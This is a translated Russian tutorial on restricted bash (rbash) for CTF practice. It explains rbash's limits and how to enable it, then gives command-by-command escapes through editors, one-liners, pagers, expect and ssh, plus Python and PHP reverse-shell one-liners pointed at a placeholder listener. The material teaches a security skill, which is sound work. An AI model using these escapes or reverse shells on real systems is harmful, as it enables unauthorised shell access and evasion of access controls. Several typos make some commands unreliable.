В этой статье пойдет речь о restricted shell или bash, который используется во многих задачах CTF. Пользователи также получат сведения о том, как обойти rbash с помощью нескольких простых методов.
Restricted Shell: rbash
Restricted (ограниченный) shell нужен для настройки среды, более управляемой, чем при стандартном shell. Это означает, что если bash запускается с именем rbash или опция-r появляется при вызове, shell становится ограниченным.
Ограничения в rbash
Он ведет себя, как и bash, за исключением того, что некоторые действия запрещены или невозможны:
- команда d (изменить каталог)
- команда cd (изменить каталог)
- PATH (настройка / сброс настроек)
- ENV aka BASH_ENV (настройка среды / сброс настроек среды)
- Импорт
- Имя файла, содержащего аргумент ‘/’
- Имя файла, содержащего аргумент ‘-‘
- Перенаправление вывода с помощью ‘>‘, ‘>>‘, ‘>|‘, ‘<>‘, ‘>&‘, ‘&>‘
- Отключение ограничения с помощью комбинации ‘set +r‘ или ‘set +о‘
Преимущества Restricted Shell
- Rbash часто используется в сочетании с chroot jail в попытках ограничить доступ к корневым процессам.
Недостатки Restricted Shell
- Когда выполняется команда скрипта shell, rbash отключает все ограничения для выполнения кода
- Его недостаточно для выполнения полностью ненадежного кода
Включение ограниченного shell на компьютере пользователя
Как уже было сказано ранее, rbash будет контролировать доступ bash shell для пользователя и давать ему возможность выполнять только доверенные команды. Это означает, что человек сможет ввести только некоторые выбранные им команды. Для управления командой user bash, нужно выполнить или включить restricted shell для всех пользователей. Необходимо соблюдать следующий порядок действий:
- Создать локального пользователя “ignite”
- Установить пароль
- Установить usermod, чтобы включить rbash для локального пользователя
- Предоставить ему доступный shell с помощью /etc / passwd.
adduser ignite
usermod -s /bin/rbash ignite
Методы для обхода rbysh
С помощью редакторов:
- Vi-editors
- Ed-editors
С помощью One liner:
- Python
- Perl
- Awk
С помощью реверсивного shell.
С помощью System binaries:
- More
- Less
- Man
С помощью Expect.
С помощью SSH.
Обход rbash с помощью редакторов
Нужно предположить, что пользователь получил доступ к хост-машине в качестве локального и обнаружил, что зарегистрированный пользователь является частью оболочки rbash. Из-за этого он не может выполнить некоторые системные команды, такие как: cd.
ssh ignite@192.168.1.103
cd /etc
1-й метод – Vi Editor
Таким образом, человек способен применить VI Editor в режиме редактирования, где ему нужно выполнить следующую команду, чтобы открыть «sh: Bourne shell» вместо rbash:
vi
:set shell=/bin/sh
:shell
Теперь, если пользователь попытается получить доступ к каталогу /etc, то увидит, что он может ввести команду cd & pwd.
cd /etc
pwd
id
2-й метод – ed-Editor
Человек может воспользоваться другим методом – запустить ed-editor, который очень прост в использовании. Он похож на программу cat, имеющую встроенный режим редактирования, в котором пользователь для вызова «sh: Bourne shell» введет следующую команду:
ed
! '/bin/sh'
Теперь, если человек попытается получить доступ к каталогу /etc, то он увидит, что есть возможность запустить команду cd & pwd.
pwd
cd /etc
pwd
Существует еще много других редакторов, таких как pico или nano, которые используются для обхода среды rbash.
Обход ограниченного shell с помощью One liner
1-й метод – Python
Пользователь также может выбрать следующую команду python для импорта “SH: Bourne shell ” и создать соответствующий shell вместо rbash, как показано ниже. После этого он способен получить доступ к каталогу /etc без каких-либо ограничений:
python -c 'import os; os.system("/bin/sh");'
python3 -c 'import os; os.system("/bin/sh");'
2-й метод – Perl
Аналогично, человек также может ввести команду Perl для импорта «SH: Bourne shell» и создать соответствующий shell вместо rbash:
perl -e 'system("/bin/sh");'
3-й метод – Awk
Кроме этого, есть возможность ввести команду awk для импорта «SH: Bourne shell» и создать соответствующий shell вместо rbash, как показано ниже:
awk 'BEGIN {system("/bin/sh")}'
Обход rbash с помощью реверсивного shell
1-й метод – Python
Пользователь может прибегнуть к reverse shellcode для обхода блокировки rbash. В этом случае нужно использовать Python (penetestmokey) и это сбросит «sh: Bourne shell» на компьютере (в этом случае – Kali Linux) на netcat:
nc -lvp 1234
После запуска листенера нужно ввести следующую команду:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("LISTENING IP",LISTENING PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Теперь, если человек попытается получить доступ к каталогу /etc, то он увидит, что может запустить команду cd & pwd.
id pwd
cd /etc
pwd
2-й метод – PHP
Аналогично, человек может использовать PHP reverse shellcode, который должен быть выполнен на хост-машине. После этого обратное соединение будет доступно на нужном компьютере.
php -r '$sock=fsockopen("LISTENING IP",LISTENING PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
Теперь, если пользователь попытается получить доступ к каталогу /etc, то он увидит, что может запустить команду cd & pwd.
id
pwd
cd /etc
pwd
Обход rbash с помощью System binaries
Мало людей знают, что некоторые файлы System binaries (такие как less, more, head, tail, man и другие) очень полезны для обхода ограниченного shell.
Рассмотрим ситуацию, когда у человека есть файл журнала с именем ignite.txt внутри текущего каталога, что позволяет с помощью некоторых команд, таких как more или less, читать журналы.
1-й метод – /bin/more
Надо воспользоваться привилегией программы /bin/more, чтобы обойти ограниченный shell. Выполняется следующая команда в rbash:
more ignite.txt
!'sh'
Теперь, если человек попытается получить доступ к каталогу /etc, то он увидит, что может запустить команду cd & pwd.
id
pwd
cd /etc
pwd
2-й метод – /bin/less
Следует воспользоваться привилегией программы /bin/less, чтобы обойти ограниченный shell. Выполняется следующая команда в rbash:
less ignite.txt
!'sh'
Теперь, если пользователь попытается получить доступ к каталогу /etc, то он увидит, что может запустить команду cd & pwd.
id
pwd
cd /etc
pwd
3-й метод – /bin/man
Следует воспользоваться привилегией программы /bin/less, чтобы обойти ограниченный shell. Выполняется следующая команда в rbash:
man man
!'sh'
Теперь, если человек попытается получить доступ к каталогу /etc, то он увидит, что может запустить команду cd & pwd.
id
pwd
cd /etc
pwd
Обход ограниченного shell с помощью Expect
Expect – это программа Unix, которая «поддерживает связь» с другими интерактивными программами в соответствии с ее скриптом. Следуя ему, Expect знает, чего можно ожидать от других программ и каким должен быть правильный ответ.
Нужно воспользоваться привилегией /bin / usr / expect – программа обойдет ограниченный shell, выполнив следующую команду на оболочке rbash:
expect
spwan sh
Теперь, если пользователь попытается получить доступ к каталогу /etc, то он также заметит, что может запустить команду cd & pwd.
id
pwd
cd /etc
pwd
Обход ограниченного shell с помощью SHH
Если человек знает учетные данные ssh пользователя, который является частью rbash, то он может использовать следующую команду, чтобы обойти rbash, обратившись к верному shell.
ssh ignite@192.168.1.103 -t "bash --noprofile"
Теперь, если пользователь попытается получить доступ к каталогу /etc, то он также увидит, что может запустить команду cd & pwd.
id
pwd
cd /etc
pwd
Автор переведенной статьи: Kavish Tyagi.
Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.